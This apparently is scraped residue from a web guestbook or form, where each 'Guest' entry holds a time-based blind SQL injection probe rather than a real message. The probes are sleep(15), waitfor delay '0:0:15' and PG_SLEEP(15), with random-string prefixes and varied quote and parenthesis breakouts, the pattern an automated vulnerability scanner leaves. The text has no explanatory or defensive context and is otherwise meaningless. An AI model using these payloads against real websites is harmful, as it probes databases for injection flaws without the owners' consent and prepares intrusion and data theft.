(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
1
-1; waitfor delay '0:0:15' --

Guest:
1
-1); waitfor delay '0:0:15' --

Guest:
1
-1 waitfor delay '0:0:15' --

Guest:
1
rwtOHYbT'; waitfor delay '0:0:15' --

Guest:
1
kB1TquN7'); waitfor delay '0:0:15' --

Guest:
1
yzRSaegB')); waitfor delay '0:0:15' --

Guest:
555


Guest:
1
f7dUUe11' OR 420=(SELECT 420 FROM PG_SLEEP(15))--

Guest:
555